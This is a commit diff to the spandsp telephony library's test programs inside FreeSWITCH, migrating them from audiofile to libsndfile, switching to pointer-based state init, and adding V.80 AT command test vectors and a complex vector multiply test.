-        adsi_rx_init(&rx_adsi, current_standard, put_adsi_msg, NULL);
-        span_log_set_level(&rx_adsi.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_FLOW);
-        span_log_set_tag(&rx_adsi.logging, "ADSI");
+        rx_adsi = adsi_rx_init(NULL, current_standard, put_adsi_msg, NULL);
+#if 0
+        span_log_set_level(rx_adsi.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_FLOW);
+        span_log_set_tag(rx_adsi.logging, "ADSI");
+#endif
         for (;;)
         {
-            len = afReadFrames(inhandle,
-                               AF_DEFAULT_TRACK,
-                               amp,
-                               BLOCK_LEN);
+            len = sf_readf_short(inhandle, amp, BLOCK_LEN);
             if (len == 0)
                 break;
-            adsi_rx(&rx_adsi, amp, len);
+            adsi_rx(rx_adsi, amp, len);
         }
-        if (afCloseFile(inhandle) != 0)
+        if (sf_close(inhandle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", decode_test_file);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", decode_test_file);
             exit(2);
         }
+        adsi_rx_free(rx_adsi);
     }
     else
     {
         if (log_audio)
         {
-            if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+            if ((outhandle = sf_open_telephony_write(OUTPUT_FILE_NAME, 1)) == NULL)
             {
-                fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
+                fprintf(stderr, "    Cannot create audio file '%s'\n", OUTPUT_FILE_NAME);
                 exit(2);
             }
         }
@@ -701,69 +852,22 @@
         }
         for (current_standard = first_standard;  current_standard <= last_standard;  current_standard++)
         {
-            printf("Testing %s\n", adsi_standard_to_str(current_standard));
-            adsi_tx_init(&tx_adsi, current_standard);
-            if (short_preamble)
-                adsi_tx_set_preamble(&tx_adsi, 50, 20, 5, -1);
-            adsi_rx_init(&rx_adsi, current_standard, put_adsi_msg, NULL);
-
-            /* Fake an OK condition for the first message test */
-            good_message_received = TRUE;
-            push = 0;
-            for (i = 0;  i < 100000;  i++)
-            {
-                if (push == 0)
-                {
-                    if ((len = adsi_tx(&tx_adsi, amp, BLOCK_LEN)) == 0)
-                        push = 10;
-                }
-                else
-                {
-                    len = 0;
-                    /* Push a little silence through, to flush things out */
-                    if (--push == 0)
-                    {
-                        if (!good_message_received)
-                        {
-                            printf("No message received %s (%d)\n", adsi_standard_to_str(current_standard), i);
-                            exit(2);
-                        }
-                        good_message_received = FALSE;
-                        adsi_msg_len = adsi_create_message(&tx_adsi, adsi_msg);
-                        adsi_msg_len = adsi_tx_put_message(&tx_adsi, adsi_msg, adsi_msg_len);
-                    }
-                }
-                if (len < BLOCK_LEN)
-                {
-                    memset(&amp[len], 0, sizeof(int16_t)*(BLOCK_LEN - len));
-                    len = BLOCK_LEN;
-                }
-                if (log_audio)
-                {
-                    outframes = afWriteFrames(outhandle,
-                                              AF_DEFAULT_TRACK,
-                                              amp,
-                                              len);
-                    if (outframes != len)
-                    {
-                        fprintf(stderr, "    Error writing wave file\n");
-                        exit(2);
-                    }
-                }
-                adsi_rx(&rx_adsi, amp, len);
-            }
+            if (enable_basic_tests)
+                basic_tests(current_standard);
+            if (enable_talkoff_tests)
+                mitel_cm7291_side_2_and_bellcore_tests(current_standard);
         }
         if (log_audio)
         {
-            if (afCloseFile(outhandle) != 0)
+            if (sf_close(outhandle) != 0)
             {
-                fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+                fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME);
                 exit(2);
             }
         }
+        printf("Tests passed.\n");
     }
-    
-    printf("Tests passed.\n");
+
     return 0;
 }
 /*- End of function --------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/tests/async_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/async_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/async_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: async_tests.c,v 1.17 2008/05/13 13:17:25 steveu Exp $
+ * $Id: async_tests.c,v 1.19 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*! \file */
@@ -38,8 +38,12 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 
 async_rx_state_t rx_async;

Modified: freeswitch/branches/seven/libs/spandsp/tests/at_interpreter_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/at_interpreter_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/at_interpreter_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: at_interpreter_tests.c,v 1.19 2008/09/16 12:45:25 steveu Exp $
+ * $Id: at_interpreter_tests.c,v 1.23 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*! \file */
@@ -42,8 +42,9 @@
 #include <unistd.h>
 #include <string.h>
 #include <assert.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
 #include "spandsp.h"
 
 #define DLE 0x10
@@ -220,9 +221,14 @@
     {"AT+EB=?\r", "\r\n+EB:\r\n\r\nOK\r\n"},                        /* V.250 6.5.2 - Break handling in error control operation */ 
     {"AT+EFCS=?\r", "\r\n+EFCS:(0-2)\r\n\r\nOK\r\n"},               /* V.250 6.5.4 - 32-bit frame check sequence */ 
     {"AT+EFCS?\r", "\r\n+EFCS:0\r\n\r\nOK\r\n"},
-    {"AT+EFRAM=?\r", "\r\n+EFRAM:(1-65535),(1-65535)\r\n\r\nOK\r\n"},     /* V.250 6.5.8 - Frame length */ 
+    {"AT+EFRAM=?\r", "\r\n+EFRAM:(1-65535),(1-65535)\r\n\r\nOK\r\n"},
+                                                                    /* V.250 6.5.8 - Frame length */ 
     {"AT+ER=?\r", "\r\n+ER:(0,1)\r\n\r\nOK\r\n"},                   /* V.250 6.5.5 - Error control reporting */ 
-    {"AT+ES\r", "\r\nOK\r\n"},                                      /* V.250 6.5.1 - Error control selection */ 
+    {"AT+ES=?\r", "\r\n+ES:(0-7),(0-4),(0-9)\r\n\r\nOK\r\n"},       /* V.250 6.5.1 - Error control selection */ 
+    {"AT+ES?\r", "\r\n+ES:0,0,0\r\n\r\nOK\r\n"},
+    {"AT+ESA=?\r", "\r\n+ESA:(0-2),(0-1),(0-1),(0-1),(0-2),(0-1),(0-255),(0-255)\r\n\r\nOK\r\n"},
+                                                                    /* V.80 8.2 - Synchronous access mode configuration */
+    {"AT+ESA?\r", "\r\n+ESA:0,0,0,0,0,0,0,0\r\n\r\nOK\r\n"},
     {"AT+ESR\r", "\r\nOK\r\n"},                                     /* V.250 6.5.3 - Selective repeat */ 
     {"AT+ETBM=?\r", "\r\n+ETBM:(0-2),(0-2),(0-30)\r\n\r\nOK\r\n"},  /* T.31 8.5.1 - Adaptive reception control */ 
     {"AT+ETBM?\r", "\r\n+ETBM:0,0\r\n\r\nOK\r\n"},
@@ -263,6 +269,11 @@
     {"AT+GMR?\r", "\r\n" VERSION "\r\n\r\nOK\r\n"},                 /* V.250 6.1.6 - Request revision identification */ 
     {"AT+GOI\r", "\r\nOK\r\n"},                                     /* V.250 6.1.8 - Request global object identification */ 
     {"AT+GSN?\r", "\r\n42\r\n\r\nOK\r\n"},                          /* V.250 6.1.7 - Request product serial number identification */ 
+    {"AT+IBC=?\r", "\r\n+IBC:(0-2),(0,1),(0,1),(0,1),(0,1),(0,1),(0,1),(0,1),(0,1),(0,1),(0,1),(0.1),(0,1)\r\n\r\nOK\r\n"},
+                                                                    /* V.80 7.9 - Control of in-band control */
+    {"AT+IBC?\r", "\r\n+IBC:0,0,0,0,0,0,0,0,0,0,0,0,0\r\n\r\nOK\r\n"},
+    {"AT+IBM=?\r", "\r\n+IBM:(0-7),(0-255),(0-255)\r\n\r\nOK\r\n"}, /* V.80 7.10 - In-band MARK idle reporting control */
+    {"AT+IBM?\r", "\r\n+IBM:0,0,0\r\n\r\nOK\r\n"},
     {"AT+ICF?\r", "\r\n+ICF:0,0\r\n\r\nOK\r\n"},                    /* V.250 6.2.11 - DTE-DCE character framing */ 
     {"AT+ICLOK?\r", "\r\n+ICLOK:0\r\n\r\nOK\r\n"},                  /* V.250 6.2.14 - Select sync transmit clock source */ 
     {"AT+IDSR?\r", "\r\n+IDSR:0\r\n\r\nOK\r\n"},                    /* V.250 6.2.16 - Select data set ready option */ 

Modified: freeswitch/branches/seven/libs/spandsp/tests/awgn_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/awgn_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/awgn_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: awgn_tests.c,v 1.17 2008/05/13 13:17:25 steveu Exp $
+ * $Id: awgn_tests.c,v 1.18 2008/11/30 12:38:27 steveu Exp $
  */
 
 /*! \page awgn_tests_page AWGN tests
@@ -37,6 +37,10 @@
 #include <stdio.h>
 #include <string.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 
 #if !defined(M_PI)

Modified: freeswitch/branches/seven/libs/spandsp/tests/bell_mf_rx_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/bell_mf_rx_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/bell_mf_rx_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: bell_mf_rx_tests.c,v 1.12 2008/05/13 13:17:25 steveu Exp $
+ * $Id: bell_mf_rx_tests.c,v 1.16 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*! \file */
@@ -48,8 +48,12 @@
 #include <fcntl.h>
 #include <string.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 
 /* Basic Bell MF specs:
@@ -75,6 +79,9 @@
 #define MF_PAUSE                    (68*8)
 #define MF_CYCLE                    (MF_DURATION + MF_PAUSE)
 
+/*!
+    MF tone descriptor for tests.
+*/
 typedef struct
 {
     float       f1;         /* First freq */
@@ -225,11 +232,11 @@
     float rrb;
     float rcfo;
     time_t now;
-    bell_mf_rx_state_t mf_state;
+    bell_mf_rx_state_t *mf_state;
     awgn_state_t noise_source;
 
     time(&now);
-    bell_mf_rx_init(&mf_state, NULL, NULL);
+    mf_state = bell_mf_rx_init(NULL, NULL, NULL);
 
     /* Test 1: Mitel's test 1 isn't really a test. Its a calibration step,
        which has no meaning here. */
@@ -251,8 +258,8 @@
         {
             len = my_mf_generate(amp, digit);
             codec_munge(amp, len);
-            bell_mf_rx(&mf_state, amp, len);
-            actual = bell_mf_rx_get(&mf_state, buf, 128);
+            bell_mf_rx(mf_state, amp, len);
+            actual = bell_mf_rx_get(mf_state, buf, 128);
             if (actual != 1  ||  buf[0] != digit[0])
             {
                 printf ("    Sent     '%s'\n", digit);
@@ -304,16 +311,16 @@
             my_mf_gen_init((float) i/1000.0, -17, 0.0, -17, 68, 68);
             len = my_mf_generate(amp, digit);
             codec_munge(amp, len);
-            bell_mf_rx(&mf_state, amp, len);
-            nplus += bell_mf_rx_get(&mf_state, buf, 128);
+            bell_mf_rx(mf_state, amp, len);
+            nplus += bell_mf_rx_get(mf_state, buf, 128);
         }
         for (nminus = 0, i = -1;  i >= -60;  i--)
         {
             my_mf_gen_init((float) i/1000.0, -17, 0.0, -17, 68, 68);
             len = my_mf_generate(amp, digit);
             codec_munge(amp, len);
-            bell_mf_rx(&mf_state, amp, len);
-            nminus += bell_mf_rx_get(&mf_state, buf, 128);
+            bell_mf_rx(mf_state, amp, len);
+            nminus += bell_mf_rx_get(mf_state, buf, 128);
         }
         rrb = (float) (nplus + nminus)/10.0;
         rcfo = (float) (nplus - nminus)/10.0;
@@ -335,16 +342,16 @@
             my_mf_gen_init(0.0, -17, (float) i/1000.0, -17, 68, 68);
             len = my_mf_generate(amp, digit);
             codec_munge(amp, len);
-            bell_mf_rx(&mf_state, amp, len);
-            nplus += bell_mf_rx_get(&mf_state, buf, 128);
+            bell_mf_rx(mf_state, amp, len);
+            nplus += bell_mf_rx_get(mf_state, buf, 128);
         }
         for (nminus = 0, i = -1;  i >= -60;  i--)
         {
             my_mf_gen_init(0.0, -17, (float) i/1000.0, -17, 68, 68);
             len = my_mf_generate(amp, digit);
             codec_munge(amp, len);
-            bell_mf_rx(&mf_state, amp, len);
-            nminus += bell_mf_rx_get(&mf_state, buf, 128);
+            bell_mf_rx(mf_state, amp, len);
+            nminus += bell_mf_rx_get(mf_state, buf, 128);
         }
         rrb = (float) (nplus + nminus)/10.0;
         rcfo = (float) (nplus - nminus)/10.0;
@@ -380,8 +387,8 @@
 
             len = my_mf_generate(amp, digit);
             codec_munge(amp, len);
-            bell_mf_rx(&mf_state, amp, len);
-            nplus += bell_mf_rx_get(&mf_state, buf, 128);
+            bell_mf_rx(mf_state, amp, len);
+            nplus += bell_mf_rx_get(mf_state, buf, 128);
         }
         printf("    %c normal twist  = %.2fdB\n", digit[0], (float) nplus/10.0);
         if (nplus < 60)
@@ -395,8 +402,8 @@
 
             len = my_mf_generate(amp, digit);
             codec_munge(amp, len);
-            bell_mf_rx(&mf_state, amp, len);
-            nminus += bell_mf_rx_get(&mf_state, buf, 128);
+            bell_mf_rx(mf_state, amp, len);
+            nminus += bell_mf_rx_get(mf_state, buf, 128);
         }
         printf("    %c reverse twist = %.2fdB\n", digit[0], (float) nminus/10.0);
         if (nminus < 60)
@@ -421,8 +428,8 @@
         {
             len = my_mf_generate(amp, ALL_POSSIBLE_DIGITS);
             codec_munge(amp, len);
-            bell_mf_rx(&mf_state, amp, len);
-            if (bell_mf_rx_get(&mf_state, buf, 128) != 15)
+            bell_mf_rx(mf_state, amp, len);
+            if (bell_mf_rx_get(mf_state, buf, 128) != 15)
                 break;
             if (strcmp(buf, ALL_POSSIBLE_DIGITS) != 0)
                 break;
@@ -462,9 +469,8 @@
         {
             len = my_mf_generate(amp, ALL_POSSIBLE_DIGITS);
             codec_munge(amp, len);
-            bell_mf_rx(&mf_state, amp, len);
-
-            if (bell_mf_rx_get(&mf_state, buf, 128) != 15)
+            bell_mf_rx(mf_state, amp, len);
+            if (bell_mf_rx_get(mf_state, buf, 128) != 15)
                 break;
             if (strcmp(buf, ALL_POSSIBLE_DIGITS) != 0)
                 break;
@@ -495,9 +501,8 @@
             for (sample = 0;  sample < len;  sample++)
                 amp[sample] = saturate(amp[sample] + awgn(&noise_source));
             codec_munge(amp, len);
-            bell_mf_rx(&mf_state, amp, len);
-
-            if (bell_mf_rx_get(&mf_state, buf, 128) != 15)
+            bell_mf_rx(mf_state, amp, len);
+            if (bell_mf_rx_get(mf_state, buf, 128) != 15)
                 break;
             if (strcmp(buf, ALL_POSSIBLE_DIGITS) != 0)
                 break;
@@ -523,14 +528,14 @@
     printf("Test: Callback digit delivery mode.\n");
     callback_ok = FALSE;
     callback_roll = 0;
-    bell_mf_rx_init(&mf_state, digit_delivery, (void *) 0x12345678);
+    mf_state = bell_mf_rx_init(NULL, digit_delivery, (void *) 0x12345678);
     my_mf_gen_init(0.0, -10, 0.0, -10, 68, 68);
     for (i = 1;  i < 10;  i++)
     {
         len = 0;
         for (j = 0;  j < i;  j++)
             len += my_mf_generate(amp + len, ALL_POSSIBLE_DIGITS);
-        bell_mf_rx(&mf_state, amp, len);
+        bell_mf_rx(mf_state, amp, len);
         if (!callback_ok)
             break;
     }

Modified: freeswitch/branches/seven/libs/spandsp/tests/bell_mf_tx_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/bell_mf_tx_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/bell_mf_tx_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: bell_mf_tx_tests.c,v 1.12 2008/08/16 15:24:15 steveu Exp $
+ * $Id: bell_mf_tx_tests.c,v 1.15 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*! \file */
@@ -44,8 +44,12 @@
 #include <fcntl.h>
 #include <string.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -53,73 +57,55 @@
 
 int main(int argc, char *argv[])
 {
-    bell_mf_tx_state_t gen;
+    bell_mf_tx_state_t *gen;
     int16_t amp[16384];
     int len;
-    AFfilehandle outhandle;
+    SNDFILE *outhandle;
     int outframes;
     int add_digits;
 
-    if ((outhandle = afOpenFile_telephony_write(OUTPUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUTPUT_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", OUTPUT_FILE_NAME);
+        fprintf(stderr, "    Cannot open audio file '%s'\n", OUTPUT_FILE_NAME);
         exit(2);
     }
 
-    bell_mf_tx_init(&gen);
-    len = bell_mf_tx(&gen, amp, 16384);
+    gen = bell_mf_tx_init(NULL);
+    len = bell_mf_tx(gen, amp, 16384);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              amp,
-                              len);
-    if (bell_mf_tx_put(&gen, "123", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (bell_mf_tx_put(gen, "123", -1))
         printf("Ooops\n");
-    len = bell_mf_tx(&gen, amp, 16384);
+    len = bell_mf_tx(gen, amp, 16384);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              amp,
-                              len);
-    if (bell_mf_tx_put(&gen, "456", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (bell_mf_tx_put(gen, "456", -1))
         printf("Ooops\n");
-    len = bell_mf_tx(&gen, amp, 160);
+    len = bell_mf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              amp,
-                              len);
-    if (bell_mf_tx_put(&gen, "789", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (bell_mf_tx_put(gen, "789", -1))
         printf("Ooops\n");
-    len = bell_mf_tx(&gen, amp, 160);
+    len = bell_mf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              amp,
-                              len);
-    if (bell_mf_tx_put(&gen, "*#", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (bell_mf_tx_put(gen, "*#", -1))
         printf("Ooops\n");
-    len = bell_mf_tx(&gen, amp, 160);
+    len = bell_mf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              amp,
-                              len);
+    outframes = sf_writef_short(outhandle, amp, len);
     add_digits = 1;
     do
     {
-        len = bell_mf_tx(&gen, amp, 160);
+        len = bell_mf_tx(gen, amp, 160);
         printf("Generated %d samples\n", len);
         if (len > 0)
         {
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      amp,
-                                      len);
+            outframes = sf_writef_short(outhandle, amp, len);
         }
         if (add_digits)
         {
-            if (bell_mf_tx_put(&gen, "1234567890", -1))
+            if (bell_mf_tx_put(gen, "1234567890", -1))
             {
                 printf("Digit buffer full\n");
                 add_digits = 0;
@@ -128,68 +114,47 @@
     }
     while (len > 0);
 
-    bell_mf_tx_init(&gen);
-    len = bell_mf_tx(&gen, amp, 16384);
+    bell_mf_tx_init(gen);
+    len = bell_mf_tx(gen, amp, 16384);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              amp,
-                              len);
-    if (bell_mf_tx_put(&gen, "123", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (bell_mf_tx_put(gen, "123", -1))
         printf("Ooops\n");
-    len = bell_mf_tx(&gen, amp, 16384);
+    len = bell_mf_tx(gen, amp, 16384);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              amp,
-                              len);
-    if (bell_mf_tx_put(&gen, "456", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (bell_mf_tx_put(gen, "456", -1))
         printf("Ooops\n");
-    len = bell_mf_tx(&gen, amp, 160);
+    len = bell_mf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              amp,
-                              len);
-    if (bell_mf_tx_put(&gen, "789", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (bell_mf_tx_put(gen, "789", -1))
         printf("Ooops\n");
-    len = bell_mf_tx(&gen, amp, 160);
+    len = bell_mf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              amp,
-                              len);
-    if (bell_mf_tx_put(&gen, "0*#", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (bell_mf_tx_put(gen, "0*#", -1))
         printf("Ooops\n");
-    len = bell_mf_tx(&gen, amp, 160);
+    len = bell_mf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              amp,
-                              len);
-    if (bell_mf_tx_put(&gen, "ABC", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (bell_mf_tx_put(gen, "ABC", -1))
         printf("Ooops\n");
-    len = bell_mf_tx(&gen, amp, 160);
+    len = bell_mf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              amp,
-                              len);
+    outframes = sf_writef_short(outhandle, amp, len);
     add_digits = 1;
     do
     {
-        len = bell_mf_tx(&gen, amp, 160);
+        len = bell_mf_tx(gen, amp, 160);
         printf("Generated %d samples\n", len);
         if (len > 0)
         {
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      amp,
-                                      len);
+            outframes = sf_writef_short(outhandle, amp, len);
         }
         if (add_digits)
         {
-            if (bell_mf_tx_put(&gen, "1234567890", -1))
+            if (bell_mf_tx_put(gen, "1234567890", -1))
             {
                 printf("Digit buffer full\n");
                 add_digits = 0;
@@ -198,9 +163,9 @@
     }
     while (len > 0);
 
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME);
         exit (2);
     }
 

Modified: freeswitch/branches/seven/libs/spandsp/tests/bert_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/bert_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/bert_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: bert_tests.c,v 1.25 2008/09/07 12:45:17 steveu Exp $
+ * $Id: bert_tests.c,v 1.28 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*! \file */
@@ -40,8 +40,12 @@
 #include <stdio.h>
 #include <string.h>
 #include <assert.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 
 /* Use a local random generator, so the results are consistent across platforms */
@@ -208,7 +212,7 @@
             zeros++;
         }
         bert_put_bit(&rx_bert, bit);        
-        test[tx_bert.tx_reg]++;
+        test[tx_bert.tx.reg]++;
     }
     failed = FALSE;
     if (test[0] != 0)
@@ -252,7 +256,7 @@
             zeros++;
         }
         bert_put_bit(&rx_bert, bit);        
-        test[tx_bert.tx_reg]++;
+        test[tx_bert.tx.reg]++;
     }
     failed = FALSE;
     if (test[0] != 0)
@@ -296,7 +300,7 @@
             zeros++;
         }
         bert_put_bit(&rx_bert, bit);        
-        test[tx_bert.tx_reg]++;
+        test[tx_bert.tx.reg]++;
     }
     failed = FALSE;
     if (test[0] != 0)
@@ -340,7 +344,7 @@
             zeros++;
         }
         bert_put_bit(&rx_bert, bit);        
-        test[tx_bert.tx_reg]++;
+        test[tx_bert.tx.reg]++;
     }
     failed = FALSE;
     if (test[0] != 0)
@@ -381,7 +385,7 @@
             zeros++;
         }
         bert_put_bit(&rx_bert, bit);        
-        test[tx_bert.tx_reg]++;
+        test[tx_bert.tx.reg]++;
     }
     failed = FALSE;
     if (test[0] != 0)

Modified: freeswitch/branches/seven/libs/spandsp/tests/complex_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/complex_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/complex_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: complex_tests.c,v 1.1 2008/09/18 12:09:51 steveu Exp $
+ * $Id: complex_tests.c,v 1.2 2009/01/28 03:41:27 steveu Exp $
  */
 
 /*! \page complex_tests_page Complex arithmetic tests
@@ -39,13 +39,13 @@
 #include <stdio.h>
 #include <fcntl.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <assert.h>
 
 #include "spandsp.h"

Modified: freeswitch/branches/seven/libs/spandsp/tests/complex_vector_float_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/complex_vector_float_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/complex_vector_float_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: complex_vector_float_tests.c,v 1.1 2008/09/18 12:05:35 steveu Exp $
+ * $Id: complex_vector_float_tests.c,v 1.3 2009/04/26 07:00:39 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -33,10 +33,58 @@
 #include <stdio.h>
 #include <fcntl.h>
 #include <string.h>
-#include <audiofile.h>
 
 #include "spandsp.h"
 
+static void cvec_mulf_dumb(complexf_t z[], const complexf_t x[], const complexf_t y[], int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+    {
+        z[i].re = x[i].re*y[i].re - x[i].im*y[i].im;
+        z[i].im = x[i].re*y[i].im + x[i].im*y[i].re;
+    }
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_cvec_mulf(void)
+{
+    int i;
+    complexf_t x[100];
+    complexf_t y[100];
+    complexf_t za[100];
+    complexf_t zb[100];
+    complexf_t ratio;
+
+    for (i = 0;  i < 99;  i++)
+    {
+        x[i].re = rand();
+        x[i].im = rand();
+        y[i].re = rand();
+        y[i].im = rand();
+    }
+    cvec_mulf(za, x, y, 99);
+    cvec_mulf_dumb(zb, x, y, 99);
+    for (i = 0;  i < 99;  i++)
+        printf("(%f,%f) (%f,%f) (%f,%f)\n", za[i].re, za[i].im, x[i].re, x[i].im, y[i].re, y[i].im);
+    for (i = 0;  i < 99;  i++)
+    {
+        ratio.re = za[i].re/zb[i].re;
+        ratio.im = za[i].im/zb[i].im;
+        if ((ratio.re < 0.9999  ||  ratio.re > 1.0001)
+            ||
+            (ratio.im < 0.9999  ||  ratio.im > 1.0001))
+        {
+            printf("cvec_mulf() - (%f,%f) (%f,%f)\n", za[i].re, za[i].im, zb[i].re, zb[i].im);
+            printf("Tests failed\n");
+            exit(2);
+        }
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
